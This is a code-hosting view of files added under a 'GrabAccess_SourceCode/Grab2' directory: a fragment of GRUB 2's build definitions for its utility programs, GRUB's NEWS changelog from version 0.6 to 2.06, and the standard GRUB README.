     1331 + ldadd = '$(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1332 +};
     1333 + 
     1334 +program = {
     1335 + name = grub-menulst2cfg;
     1336 + mansection = 1;
     1337 + common = util/grub-menulst2cfg.c;
     1338 + common = grub-core/lib/legacy_parse.c;
     1339 + common = grub-core/lib/i386/pc/vesa_modes_table.c;
     1340 + common = grub-core/osdep/init.c;
     1341 + 
     1342 + ldadd = libgrubmods.a;
     1343 + ldadd = libgrubgcry.a;
     1344 + ldadd = libgrubkern.a;
     1345 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1346 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1347 +};
     1348 + 
     1349 +program = {
     1350 + name = grub-syslinux2cfg;
     1351 + mansection = 1;
     1352 + common = util/grub-syslinux2cfg.c;
     1353 + common = grub-core/lib/syslinux_parse.c;
     1354 + common = grub-core/lib/getline.c;
     1355 + common = grub-core/osdep/init.c;
     1356 + common = grub-core/kern/emu/hostfs.c;
     1357 + common = grub-core/disk/host.c;
     1358 + common = grub-core/kern/emu/argp_common.c;
     1359 + 
     1360 + ldadd = libgrubmods.a;
     1361 + ldadd = libgrubgcry.a;
     1362 + ldadd = libgrubkern.a;
     1363 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1364 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1365 +};
     1366 + 
     1367 +script = {
     1368 + name = grub-switch-to-blscfg;
     1369 + common = util/grub-switch-to-blscfg.in;
     1370 + mansection = 8;
     1371 + installdir = sbin;
     1372 +};
     1373 + 
     1374 +program = {
     1375 + name = grub-glue-efi;
     1376 + mansection = 1;
     1377 + 
     1378 + common = util/grub-glue-efi.c;
     1379 + common = util/glue-efi.c;
     1380 + common = grub-core/kern/emu/argp_common.c;
     1381 + common = grub-core/osdep/init.c;
     1382 + 
     1383 + ldadd = libgrubmods.a;
     1384 + ldadd = libgrubgcry.a;
     1385 + ldadd = libgrubkern.a;
     1386 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1387 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1388 +};
     1389 + 
     1390 +program = {
     1391 + name = grub-render-label;
     1392 + mansection = 1;
     1393 + 
     1394 + common = util/grub-render-label.c;
     1395 + common = util/render-label.c;
     1396 + common = grub-core/kern/emu/argp_common.c;
     1397 + common = grub-core/kern/emu/hostfs.c;
     1398 + common = grub-core/disk/host.c;
     1399 + common = grub-core/osdep/init.c;
     1400 + 
     1401 + ldadd = libgrubmods.a;
     1402 + ldadd = libgrubgcry.a;
     1403 + ldadd = libgrubkern.a;
     1404 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1405 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1406 +};
     1407 + 
     1408 +program = {
     1409 + name = grub-file;
     1410 + mansection = 1;
     1411 + 
     1412 + common = util/grub-file.c;
     1413 + common = util/render-label.c;
     1414 + common = grub-core/commands/file.c;
     1415 + common = grub-core/commands/file32.c;
     1416 + common = grub-core/commands/file64.c;
     1417 + common = grub-core/loader/i386/xen_file.c;
     1418 + common = grub-core/loader/i386/xen_file32.c;
     1419 + common = grub-core/loader/i386/xen_file64.c;
     1420 + common = grub-core/io/offset.c;
     1421 + common = grub-core/kern/elf.c;
     1422 + common = grub-core/loader/lzss.c;
     1423 + common = grub-core/loader/macho.c;
     1424 + common = grub-core/loader/macho32.c;
     1425 + common = grub-core/loader/macho64.c;
     1426 + common = grub-core/kern/emu/hostfs.c;
     1427 + common = grub-core/disk/host.c;
     1428 + common = grub-core/osdep/init.c;
     1429 + 
     1430 + ldadd = libgrubmods.a;
     1431 + ldadd = libgrubgcry.a;
     1432 + ldadd = libgrubkern.a;
     1433 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1434 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1435 +};
     1436 + 
     1437 +program = {
     1438 + name = grub-set-bootflag;
     1439 + installdir = sbin;
     1440 + mansection = 1;
     1441 + common = util/grub-set-bootflag.c;
     1442 + condition = COND_HOST_LINUX;
     1443 +};
     1444 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/NEWS
     1 +New in 2.06:
     2 + 
     3 +* GCC 10 support.
     4 +* clang 10 support.
     5 +* SBAT support.
     6 +* LUKS2 support.
     7 +* Drop small MBR gap support.
     8 +* Xen Security Modules (XSM/FLASK) support.
     9 +* The lockdown mechanism similar to the Linux kernel one.
     10 +* Disable the os-prober by default.
     11 +* Many backports of GRUB distros specific patches.
     12 +* BootHole and BootHole2 fixes.
     13 +* ...and tons of other fixes and cleanups...
     14 + 
     15 +New in 2.04:
     16 + 
     17 +* GCC 8 and 9 support.
     18 +* Gnulib integration overhaul.
     19 +* RISC-V support.
     20 +* Xen PVH support.
     21 +* Native UEFI secure boot support.
     22 +* UEFI TPM driver.
     23 +* New IEEE 1275 obdisk driver.
     24 +* Btrfs RAID 5 and RIAD 6 support.
     25 +* PARTUUID support.
     26 +* VLAN support.
     27 +* Native DHCP support.
     28 +* Many ARM and ARM64 fixes.
     29 +* Many SPARC fixes.
     30 +* Many IEEE 1275 fixes.
     31 +* ...and tons of other fixes and cleanups...
     32 + 
     33 +New in 2.02:
     34 + 
     35 +* New/improved filesystem and disk support:
     36 + * Big-endian UFS1.
     37 + * Experimental 64-bit ext2 support.
     38 + * Various fixes for non-512-byte sector devices.
     39 + * New `proc' filesystem framework, used by LUKS disks.
     40 + * Fix DM-RAID partition handling.
     41 + * New `nativedisk' command to switch from firmware to native disk drivers.
     42 + * Compressed HFS+.
     43 + * DragonFly BSD labels.
     44 + * CBFS (coreboot).
     45 + * Handle partitioned LVM properly.
     46 + * Use LVM UUIDs whenever possible.
     47 + * GPT PReP.
     48 + * New `progress' module that shows progress information while reading
     49 + files.
     50 + * ZFS features support.
     51 + * ZFS LZ4 support.
     52 + * XFS V5 format support.
     53 + * LVM RAID1 support.
     54 + 
     55 +* New/improved terminal and video support:
     56 + * Monochrome text (matching `hercules' in GRUB Legacy).
     57 + * Morse code output using system speaker.
     58 + * `spkmodem' output (simple data protocol using system speaker).
     59 + * Handle Japanese special keys.
     60 + * coreboot framebuffer.
     61 + * Serial on ARC.
     62 + * Native vt100 handling for grub-emu, replacing the use of the curses
     63 + library.
     64 + * New gfxmenu options for terminal window positioning, theme background
     65 + image handling, and scrollbar padding, plus `item_pixmap_style' and
     66 + `highlight_overlay'.
     67 + * Support several more image types (paletted and greyscale).
     68 + 
     69 +* Boot protocol improvements:
     70 + * Support Apple FAT binaries on non-Apple platforms.
     71 + * Improve FreeDOS direct loading support compatibility.
     72 + * Enable `linux16' on all x86 platforms, not just BIOS.
     73 + * New TrueCrypt ISO loader.
     74 + * multiboot2 boot-services EFI specification.
     75 + * multiboot2 EFI memory map specification.
     76 + * multiboot2 full-file specfication.
     77 + 
     78 +* New/improved network support:
     79 + * New variables `net_default_*' containing properties of the default
     80 + interface.
     81 + * Autoload `http' and `tftp' modules if necessary.
     82 + * Improve TFTP robustness.
     83 + * Parse `nd' disk names in GRUB Legacy configuration files.
     84 + * Issue separate DNS queries for IPv4 and IPv6.
     85 + * Support IPv6 Router Advertisement to configure default router.
     86 + * New variable net_<interface>_next_server containing next server
     87 + from BOOTP reply.
     88 + 
     89 +* Coreboot improvements:
     90 + * CBFS support both in on-disk images (loopback) and flash.
     91 + * Ability to launch another payload from flash or disk
     92 + * Coreboot framebuffer
     93 + * CBMEMC support (both logging and inspecting logs)
     94 + * Command for inspecting coreboot timestamps (`coreboot_boottime').
     95 + * Command for inspecting coreboot tables (`lscoreboot').
     96 + * New target default_payload.elf.
     97 + * Increased maximal core size.
     98 + * Prefer pmtimer for TSC calibration.
     99 + 
     100 +* New/improved platform support:
     101 + * New `efifwsetup' and `lsefi' commands on EFI platforms.
     102 + * New `cmosdump' and `cmosset' commands on platforms with CMOS support.
     103 + * New command `pcidump' for PCI platforms.
     104 + * Improve opcode parsing in ACPI halt implementation.
     105 + * Use the TSC as a possible time source on i386-ieee1275.
     106 + * Merge PowerPC grub-mkrescue implementation with the common one.
     107 + * Support grub-mkrescue on i386-ieee1275, sparc64, bootinfo machines such
     108 + as pSeries, and mips-arc.
     109 + * Make grub-mkrescue better support Apple Intel Macs on CD.
     110 + * Enable GRUB Legacy configuration file parsing on EFI.
     111 + * Support halt for Loongson 2E.
     112 + * ARM U-Boot and EFI ports.
     113 + * Reorganise platform-dependent code in utilities to avoid #ifdef mess.
     114 + * AROS and Haiku support for userspace utilities.
     115 + * Xen PV port.
     116 + * Fix EFI stack alignment.
     117 + * ARM64 EFI port.
     118 + * On Linux, read partition start offsets from sysfs if possible.
     119 + * New grub-macbless utility, and better integration with Mac firmware in
     120 + grub-install.
     121 + * Support Yeeloong 3A.
     122 + * Add `cpuid --pae' option to detect Physical Address Extension on x86.
     123 + * Support for USB debug dongles.
     124 + * Support for *-emu on all platforms (previously only i386/x86_64 worked).
     125 + * Support *-emu on Windows.
     126 + * New platform `none' which builds only user level utilities. This is now
     127 + default if target CPU is not supported.
     128 + * Support for booting little-endian Linux kernel on powerpc.
     129 + * Support network boot with Oracle sun4v vnet devices.
     130 + * Added SAS disks to the IEEE 1275 Open Firmware device list.
     131 + * Try multiple methods for TSC (timestamp counter) calibration - PIT, pmtimer,
     132 + EFI Stall. If everything fails, use hardcoded frequency 800MHz.
     133 + * Support Hyper-V Gen2 platforms which lack PIT for TSC calibration.
     134 + * Map UEFI Persistent Memory to E820 persistent memory.
     135 + * New Xen loader on ARM64.
     136 + * Respect alignment requirement for block device IO buffers on EFI.
     137 + 
     138 +* Security:
     139 + * Add optional facility to enforce that all files read by the core image
     140 + from disk have a valid detached digital signature.
     141 + 
     142 +* Performance:
     143 + * Avoid costly division operations in many places.
     144 + * New boot time analysis framework (`./configure --enable-boot-time').
     145 + * Initialise USB ports in parallel.
     146 + * New `testspeed' command to test file read speed.
     147 + * Speed-up gfxterm by storing intermediate results in more compact format.
     148 + * Lazy LVM/mdraid scan.
     149 + * Disk hints.
     150 + 
     151 +* Scripting:
     152 + * New `eval' and `tr' commands.
     153 + * grub-script-check fails on scripts containing no commands.
     154 + 
     155 +* Installation and other utility improvements:
     156 + * Add option to compress files on installation or image creation.
     157 + * Using grub-reboot no longer requires setting `GRUB_DEFAULT=saved'.
     158 + * Support probing EFI System Partition (requires os-prober >= 1.58).
     159 + * Fix inconsistent use of `GRUB_CRYPTODISK_ENABLE' and
     160 + `GRUB_ENABLE_CRYPTODISK'; the latter is now used consistently.
     161 + * grub-mount handles symbolic links to directories.
     162 + * Support disabling submenus with `GRUB_DISABLE_SUBMENU' configuration key
     163 + for grub-mkconfig.
     164 + * grub-install, grub-mknetdir, grub-mkrescue, and grub-mkstandalone
     165 + rewritten in C. They should now work in supported non-Unix-like
     166 + environments.
     167 + * Native mingw support.
     168 + * Ability to install on EFI under windows.
     169 + * Reorganise timeout handling using new `timeout_style' environment
     170 + variable and `GRUB_TIMEOUT_STYLE' configuration key for grub-mkconfig.
     171 + Menu hotkeys pressed during a hidden timeout now boot the corresponding
     172 + menu entry immediately.
     173 + * New `file' command and grub-file utility to check file types.
     174 + * New syslinux configuration file parser.
     175 + * Set menu entry class to primary OS name returned by os-prober to display
     176 + OS specific icon.
     177 + * On Linux x86 detect EFI word size in grub-install and automatically select
     178 + correct platform (x86_64-efi or i386-efi) to install. Requires Linux kernel
     179 + 4.0 or higher.
     180 + 
     181 +* Build system:
     182 + * Remove all uses of nested functions; GRUB no longer requires an
     183 + executable stack.
     184 + * Fix documentation build with Texinfo >= 5.1.
     185 + * More robust and documented cross-compiling support.
     186 + * Partial clang support for some platforms (experimental).
     187 + * Partial mingw64 x86_64-efi compile support (highly experimental).
     188 + * Partial mingw32 i386-* (other than already present i386-pc)
     189 + compile support (highly experimental).
     190 + * Support for grub-mkpasswd on Windows.
     191 + * Eliminate the use of AutoGen. This allowed some performance
     192 + improvements to the build system.
     193 + * Remove variable length arrays.
     194 + * OpenBSD compile and tools support (NetBSD and FreeBSD were already supported).
     195 + * Fix build with FreeType >= 2.5.1.
     196 + * Make gentpl.py compatible with Python 3. It now requires at least
     197 + Python 2.6.
     198 + * modinfo.sh contains build information now.
     199 + * Added many new tests to improve robustness.
     200 + * Target is built without libgcc now. Necessary builtins are reimplemented
     201 + directly. This removes requirement for target-specific runtime on build
     202 + system.
     203 + * emu libusb support removed (was broken and unmaintained).
     204 + * powerpc64le compile support.
     205 + * Use fixed timestamp when generating GRUB image for reproducible builds.
     206 + * Verify at build time that modules contain only supported relocations and their
     207 + structure matches what boot-time module loader expects.
     208 + * Do not require fonts on powerpc-ieee1275.
     209 + 
     210 +* Revision control moved to git.
     211 + 
     212 +New in 2.00:
     213 + 
     214 +* Appearance:
     215 + * Official theme for gfxmenu (starfield)
     216 + * Menu is organised with submenus.
     217 + * Better default video mode selection using EDID.
     218 + 
     219 +* New platforms:
     220 + * Itanium port.
     221 + * Fuloong2F support (including GRUB as firmware)
     222 + * Fuloong2E support (except GRUB as firmware)
     223 + * ARCS (SGI machines) port.
     224 + * qemu -M mips port.
     225 + 
     226 +* grub-mount to mount filesystems using GRUB FS drivers and FUSE.
     227 + 
     228 +* Changed security default so entries are locked by default if any superuser is
     229 + defined.
     230 + 
     231 +* New drivers:
     232 + * EHCI.
     233 + * AHCI.
     234 + * ESCC serial.
     235 + * IEEE1275 serial.
     236 + * EFI serial.
     237 + * Network stack for BIOS, IEEE1275, EMU and EFI, including TFTP, HTTP and DNS.
     238 + 
     239 +* New filesystem, filters and disks formats:
     240 + * DVH partition map.
     241 + * Plan9 partition map.
     242 + * Big-endian mdraid.
     243 + * Big-endian cpio.
     244 + * ODC and NEWC cpio.
     245 + * ExFAT.
     246 + * Minix3fs.
     247 + * Big-endian minixfs.
     248 + * RomFS.
     249 + * Squash4.
     250 + * Support non-512B disk blocks.
     251 + * LUKS and GELI support.
     252 + * LDM read support (no install yet).
     253 + * LZOP.
     254 + 
     255 +* Improved filesystem and disks formats support:
     256 + * HFS+ label support.
     257 + * Improved reiserfs support.
     258 + * multidevice, mirrored and raidz(2,3) ZFS support.
     259 + * RAID LVM (internal RAIDing) support.
     260 + * ZFS crypto support.
     261 + * ZLE, LZ4 and GZIP on ZFS support.
     262 + * Support ZFS up to 33.
     263 + * HFS string is now treated like mac-roman and not UTF-8
     264 + * HFS mtime support.
     265 + * Improved AFFS and SFS support.
     266 + * LZO-compressed btrfs support.
     267 + * cpio and tar symlinks support.
     268 + * Better FS detection to reduce false positives.
     269 + 
     270 +* New boot protocols:
     271 + * Ability to load another coreboot payload when on coreboot.
     272 + * Plan9.
     273 + * Freedos.
     274 + * Ntldr/bootmgr (to load Windows bootloader).
     275 + * chainloader --bpb support to patch FAT or NTFS BPB in memory to correct
     276 + wrong partition offset.
     277 + * PXE chainloading support.
     278 + * Darwin 11 (Mac OS X Lion) protocol support.
     279 + 
     280 +* Boot protocol improvements:
     281 + * Multiple initrd support.
     282 + * Basic illumos and xnu autoconfig.
     283 + 
     284 +* Testing and debugging:
     285 + * New grub-fstest commands: cat, zfsinfo, testload xnu_uuid
     286 + * grub-fstest recursive directory compare for quickly checking that
     287 + a directory is read correctly.
     288 + * Backtace on crash (if gdb module is loaded, x86 only)
     289 + * Disk cache statistics gathering.
     290 + * GDB stub and GDB support script.
     291 + * "make check" and "make bootcheck" expanded to almost all platforms
     292 + (except i386-ieee1275, mips-arc, sparc64-ieee1275, ia64-efi and emu)
     293 + * New `time' command.
     294 + 
     295 +* Performance:
     296 + * Lazy scanning to avoid accessing devices which aren't really used.
     297 + This avoids boot delay due to slow device scanning.
     298 + * Use CPU cache when accessing video memory.
     299 + * Search hints to first try the most likely device when searching for a
     300 + device with given UUID. This avoids slow scanning in most cases.
     301 + 
     302 +* Internationalisation:
     303 + * Updated to Unicode 6.0.
     304 + * $"..." syntax for translation in grub scripting language. This allows easy
     305 + translation of grub.cfg at runtime.
     306 + * Translations to many languages included in official distribution.
     307 + 
     308 +* Scripting:
     309 + * $grub_cpu and $grub_platform variables for conditioning grub.cfg on platform
     310 + at runtime.
     311 + * $feature_* variables to condition scripts on available features.
     312 + * Use of ids to identify menu entries.
     313 + * all_video module which is empty but depends on all video modules thus
     314 + allowing easy loading of all of them.
     315 + 
     316 +* Installation:
     317 + * grub-mknetdir script for easy creation of netbootable GRUB directory.
     318 + * Itanium and mips support in grub-mkrescue.
     319 + * grub-install support for all platforms except emu.
     320 + * PreP partition install support.
     321 + * No files conflict between flavours (except grub-mkrescue for ppc). This
     322 + allows easy install of GRUB for several platforms.
     323 + * grub-mkstandalone script for easy creating of image including all modules
     324 + for platforms with generous limit on image size.
     325 + * program-transform-name now functions according to usual conventions.
     326 + Use --grubdir and --bootdir to get old behaviour.
     327 + 
     328 +* ADLER32 and CRC64 support (for XZ and hashsum).
     329 + 
     330 +* ofconsole renamed to console
     331 + 
     332 +* Experimental support for compiling with Apple toolchain.
     333 + 
     334 +* grub-mkdevicemap removed. Now all devices are detected on invocation of
     335 + any grub utility.
     336 + 
     337 +New in 1.99:
     338 + 
     339 +* Keyboard layouts support.
     340 + 
     341 +* New `lsapm' command (i386-pc only).
     342 + 
     343 +* Parser for GRUB Legacy configuration files.
     344 + 
     345 +* Support RAID on virtio devices.
     346 + 
     347 +* Remove deprecated `root' command.
     348 + 
     349 +* New `euro.pf2' font which supports most European languages.
     350 + 
     351 +* Avoid opening the same device twice on Open Firmware platforms.
     352 + 
     353 +* Extend `vbeinfo' and `vbetest' commands to non-VBE graphics, as
     354 + `videoinfo' and `videotest'.
     355 + 
     356 +* New `lsefisystab', `lssal', and `lsefimmap' commands on EFI platforms.
     357 + 
     358 +* Support explicit user claim that a device is BIOS-visible. Devices
     359 + listed in device.map will be assumed to be readable using only BIOS
     360 + facilities, rather than anything more complex such as LVM or RAID.
     361 + 
     362 +* New bash-completion script for GRUB utilities.
     363 + 
     364 +* Use ACPI to shut down if possible.
     365 + 
     366 +* New `lsacpi' command.
     367 + 
     368 +* Btrfs support.
     369 + 
     370 +* New `--boot-directory' option to `grub-install', `grub-reboot', and
     371 + `grub-set-default', with clearer semantics than the previous
     372 + `--root-directory' option.
     373 + 
     374 +* Rename CD-ROM device to "cd" on BIOS platforms.
     375 + 
     376 +* Transparent decompression filters.
     377 + 
     378 +* Simpler PXE image generation. New `grub-mknetdir' utility to generate
     379 + netboot directory trees.
     380 + 
     381 +* New relocator. Allows for more kernel support and more
     382 + straightforward loader writing.
     383 + 
     384 +* Handle USB pendrives exposed as floppies.
     385 + 
     386 +* New Automake-based build system.
     387 + 
     388 +* Add `sendkey' command (i386-pc only).
     389 + 
     390 +* ZFS support.
     391 + 
     392 +* Support 1.x versions of mdadm metadata.
     393 + 
     394 +* Fix corruption when reading Reiserfs directory entries.
     395 + 
     396 +* Bidirectional text and diacritics support.
     397 + 
     398 +* Skip LVM snapshots.
     399 + 
     400 +* MIPS Yeeloong firmware port.
     401 + 
     402 +* Change grub-mkdevicemap to emit /dev/disk/by-id/ names where possible
     403 + on GNU/Linux.
     404 + 
     405 +* Add `grub-mkconfig' support for Xen with Linux.
     406 + 
     407 +* Add `grub-mkconfig' support for initrd images on Fedora 13.
     408 + 
     409 +* Support >3GiB and <16MiB RAM in i386-qemu.
     410 + 
     411 +* Add support for Cirrus 5446 and Bochs video cards.
     412 + 
     413 +* Load more appropriate video drivers automatically in `grub-mkconfig'.
     414 + 
     415 +* USB improvements, including hotplugging/hotunplugging, hub support,
     416 + and USB serial support.
     417 + 
     418 +* AMD Geode CS5536 support.
     419 + 
     420 +* Extensive updates to the Texinfo documentation.
     421 + 
     422 +* Handle symbolic links under /dev/mapper on GNU/Linux.
     423 + 
     424 +* Handle installation across multiple partition table types.
     425 + 
     426 +* Add `cmostest' command (i386/x86_64 only).
     427 + 
     428 +* Add support for DM-RAID disk devices on GNU/Linux.
     429 + 
     430 +* Remove `grub-mkisofs'. `grub-mkrescue' now uses GNU xorriso to build
     431 + CD images.
     432 + 
     433 +* `grub-mkrescue' support for EFI, coreboot, and QEMU platforms.
     434 + 
     435 +* Unify `grub-mkimage', `grub-setup', and `grub-install' source code
     436 + across platforms.
     437 + 
     438 +* Fix VGA (as opposed to VBE) video driver, formerly a terminal driver.
     439 + 
     440 +* Add menu hotkey support.
     441 + 
     442 +* Add support for the nilfs2 filesystem.
     443 + 
     444 +* `grub-probe' and `grub-mkconfig' support for NetBSD.
     445 + 
     446 +* Support setting a background image in `grub-mkconfig'.
     447 + 
     448 +* Support multiple terminals in `grub-mkconfig'.
     449 + 
     450 +* Regexp support.
     451 + 
     452 +* MIPS multiboot2 support.
     453 + 
     454 +* Multiboot2 tag support.
     455 + 
     456 +* sunpc partition table support.
     457 + 
     458 +* Add a number of new language features to GRUB script: `for', `while',
     459 + `until', `elif', function parameters, `break', `continue', `shift',
     460 + multi-line quoted strings, positional parameters with `setparams',
     461 + `return', filename wildcard expansion, and `!'.
     462 + 
     463 +* Support nested partition tables. GRUB now prefers to name partitions
     464 + in the form `(hd0,msdos1,bsd1)' rather than `(hd0,1,a)'.
     465 + 
     466 +* Speed up consecutive hostdisk operations on the same device.
     467 + 
     468 +* Compile parts of `grub-emu' as modules.
     469 + 
     470 +New in 1.98 - 2010-03-06:
     471 + 
     472 +* Multiboot on EFI support.
     473 + 
     474 +* Graphical menu support.
     475 + 
     476 +* MIPS support.
     477 + 
     478 +* Saved default menu entry support, with new utilities `grub-reboot' and
     479 + `grub-set-default'.
     480 + 
     481 +* Unit testing framework.
     482 + 
     483 +* Support for multiple terminals.
     484 + 
     485 +* Encrypted password support, with a new utility `grub-mkpasswd-pbkdf2'.
     486 + 
     487 +* `grub-mkfloppy' removed; use `grub-mkrescue' to create floppy images.
     488 + 
     489 +* Add grub-probe support for GNU/Hurd.
     490 + 
     491 +* Add support for gettext.
     492 + 
     493 +New in 1.97:
     494 + 
     495 +* Add support for loading XNU (MacOS X kernel).
     496 + 
     497 +* ACPI override support.
     498 + 
     499 +* Integrated gptsync.
     500 + 
     501 +* Password protection support.
     502 + 
     503 +* Partition manipulation tool.
     504 + 
     505 +* Add `keystatus' command.
     506 + 
     507 +* Unicode fonts are now used by default.
     508 + 
     509 +* Add `hdparm' command.
     510 + 
     511 +* Add support for getting the current date and time from CMOS as variables.
     512 + 
     513 +* Add `drivemap' command.
     514 + 
     515 +* Add support for RAID levels 4,6 and 10.
     516 + 
     517 +* update-grub is replaced by grub-mkconfig.
     518 + 
     519 +* When booting from PXE, PXE can be used to load files.
     520 + 
     521 +* High resolution timer support.
     522 + 
     523 +* Image loaders now support IO buffering.
     524 + 
     525 +* Add `crc' command.
     526 + 
     527 +* Add Cygwin support.
     528 + 
     529 +* Add x86_64 EFI support.
     530 + 
     531 +* Use LZMA compression instead of LZO.
     532 + 
     533 +* Support for saving the environment from and loading the environment
     534 + from a file.
     535 + 
     536 +* Allow the UUID to be used as device name.
     537 + 
     538 +* The `search' command can use UUIDs now.
     539 + 
     540 +* Add support for IEEE 1275 on i386.
     541 + 
     542 +* Create partmap.lst and use it to automatically load partition map
     543 + modules.
     544 + 
     545 +* grub-mkconfig supports os-prober to add operating systems to the
     546 + boot menu.
     547 + 
     548 +* The ATA driver supports devices bigger than 2 TiB.
     549 + 
     550 +* Add support for the UDF, AFS and EXT4 filesystems.
     551 + 
     552 +* The ISO9660 filesystem supports the Joliet extension
     553 + 
     554 +* Add support for loading kernels of FreeBSD, NetBSD and OpenBSD.
     555 + 
     556 +* Add new command `sleep'.
     557 + 
     558 +* Support for direct access to AT keyboards.
     559 + 
     560 +* New utility `grub-fstest'.
     561 + 
     562 +New in 1.96 - 2008-02-03:
     563 + 
     564 +* The license term is changed to GNU General Public License Version 3.
     565 + 
     566 +* grub-emu is made optional. Now you have to use
     567 + `--enable-grub-emu' to enable it.
     568 + 
     569 +* Add Multiboot2 support.
     570 + 
     571 +* grub-emu can access the host filesystem now.
     572 + 
     573 +* Add support for the NTFS, cpio/tar and Reiserfs filesystems.
     574 + 
     575 +* Add support for ATA/ATAPI.
     576 + 
     577 +* Add update-grub script to generate grub.cfg.
     578 + 
     579 +* Add grub-mkrescue script to generate floppy or ElTorito images
     580 + (i386-pc only).
     581 + 
     582 +* Add support for background images in gfxterm (background_image command).
     583 + 
     584 +* Add support for detection of 64-bit support in CPU (cpuid command).
     585 + 
     586 +* GPT is now enabled in i386-pc target.
     587 + 
     588 +* Add grub-install for EFI.
     589 + 
     590 +* Ported to the following new platforms: Efika, coreboot (a.k.a. LinuxBIOS),
     591 + OLPC XO.
     592 + 
     593 +* Add support for colored menu (menu_color_normal and menu_color_highlight
     594 + variables).
     595 + 
     596 +* Fix support for loading Linux zImages (such as memtest86).
     597 + 
     598 +New in 1.95 - 2006-10-15:
     599 + 
     600 +* Number partitions from 1 instead of 0. For instance, the first
     601 + partition of "hd0" is now "hd0,1" but not "hd0,0".
     602 + 
     603 +* grub-probefs is renamed to grub-probe, and supports printing a
     604 + guessed OS device name and a GRUB drive name.
     605 + 
     606 +* RAID and LVM support is added.
     607 + 
     608 +* New command, echo.
     609 + 
     610 +* The disk API is changed to support 64-bit addressing.
     611 + 
     612 +* A TGA loader is added for the video API.
     613 + 
     614 +New in 1.94 - 2006-06-04:
     615 + 
     616 +* Fix several serious bugs in HFS+.
     617 + 
     618 +* Add experimental EFI support. Chainloading and Linux loading are
     619 + supported at the moment.
     620 + 
     621 +* Add a new command "blocklist" to show a block list.
     622 + 
     623 +* Use --with-platform to specify a boot environment. For now, efi,
     624 + ieee1275 and pc are supported.
     625 + 
     626 +* Use the filename "kernel.elf" instead of "grubof" on ieee1275.
     627 + 
     628 +* Install GRUB into pkglibdir instead of pkgdatadir.
     629 + 
     630 +* Support environmental variables. You can export variables by the
     631 + command "export".
     632 + 
     633 +* Remove the commands "default" and "timeout". They are now variables.
     634 + 
     635 +* Add the commands "source" and "." to include a file.
     636 + 
     637 +* Implement experimental Video API and a new terminal "gfxterm" based
     638 + on the Video API.
     639 + 
     640 + 
     641 +New in 1.93 - 2006-03-10:
     642 + 
     643 +* Add support for the HFS+ wrapper.
     644 + 
     645 +* Major improvements to scripting support.
     646 + 
     647 +* Menu entries are now scriptable.
     648 + 
     649 + 
     650 +New in 1.92 - 2005-12-25:
     651 + 
     652 +* Add support for GPT partition table format.
     653 + 
     654 +* Add a new command "play" to play an audio file on PC.
     655 + 
     656 +* Add support for Linux/ADFS partition table format.
     657 + 
     658 +* Add support for BASH-like scripting.
     659 + 
     660 +* Add support for Apple HFS+ filesystems.
     661 + 
     662 + 
     663 +New in 1.91 - 2005-10-15:
     664 + 
     665 +* Add support for LZO version 2.
     666 + 
     667 +* Support completion in the entry editor.
     668 + 
     669 +* Add VBE support.
     670 + 
     671 +* New commands, "search", "vbetest" and "vbeinfo".
     672 + 
     673 +* The option BOOT_IMAGE is passed to Linux.
     674 + 
     675 +* Add support for automatic decompression for gzip.
     676 + 
     677 +* Add support for terminfo and serial.
     678 + 
     679 +* Add support for x86_64.
     680 + 
     681 +* GRUB itself is a Multiboot-compliant kernel.
     682 + 
     683 +* Add new filesystems: XFS, SFS, and AFFS.
     684 + 
     685 + 
     686 +New in 1.90 - 2005-08-07:
     687 + 
     688 +* Rename the project name PUPA to GRUB. Now this version is the
     689 + developmental version of GRUB officially.
     690 + 
     691 +* The GRUB emulator ``grub-emu'' is added.
     692 + 
     693 +* Add support for newworld Mac. This should work with other
     694 + PowerPC-based machines as well, if they use IEEE 1275
     695 + (Open Firmware).
     696 + 
     697 +* Too many changes to describe. Look at ChangeLog for more details.
     698 + 
     699 + 
     700 +New in 0.7:
     701 + 
     702 +* Problems in cross-compiling PUPA are fixed.
     703 + 
     704 +* Use -mrtd and -mregparm=3 to reduce the generated code sizes. This
     705 + means that any missing prototypes could be fatal. Also, you must take
     706 + care when writing assembly code. See the comments at the beginning of
     707 + startup.S, for more details.
     708 + 
     709 +* New utility, ``pupa-setup''. This sets up PUPA to make it bootable
     710 + from a real disk.
     711 + 
     712 +* New commands, "prefix", "insmod", "rmmod" and "lsmod" are added into
     713 + the rescue mode to manipulate PUPA modules.
     714 + 
     715 +* Linux support is added. Initrd is not support yet.
     716 + 
     717 +* Reduce the size of a core image significantly by compressing a large
     718 + part of the core image and decompressing itself at boot time. The
     719 + currently used algorithm is LZO (more precisely, LZO1X-999). So you
     720 + have to install LZO to build PUPA. See
     721 + <http://www.oberhumer.com/opensource/lzo/>, for more information.
     722 + 
     723 + 
     724 +New in 0.6 - 2002-12-27, Yoshinori K. Okuji:
     725 + 
     726 +* The chainloader and the FAT filesystem are modularized.
     727 + 
     728 +* The structure of the source tree is a bit changed.
     729 + 
     730 +* Support for building loadable modules is added.
     731 + 
     732 +* Some generic parts of pupa-mkimage are segregated.
     733 + 
     734 +* Some documentation files are added, according to the GNU Coding
     735 + Standards.
     736 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/README
     1 +This is GRUB 2, the second version of the GRand Unified Bootloader.
     2 +GRUB 2 is rewritten from scratch to make GNU GRUB cleaner, safer, more
     3 +robust, more powerful, and more portable.
     4 + 
     5 +See the file NEWS for a description of recent changes to GRUB 2.
     6 + 
     7 +See the file INSTALL for instructions on how to build and install the
     8 +GRUB 2 data and program files.
     9 + 
     10 +See the file MAINTAINERS for information about the GRUB maintainers, etc.
     11 + 
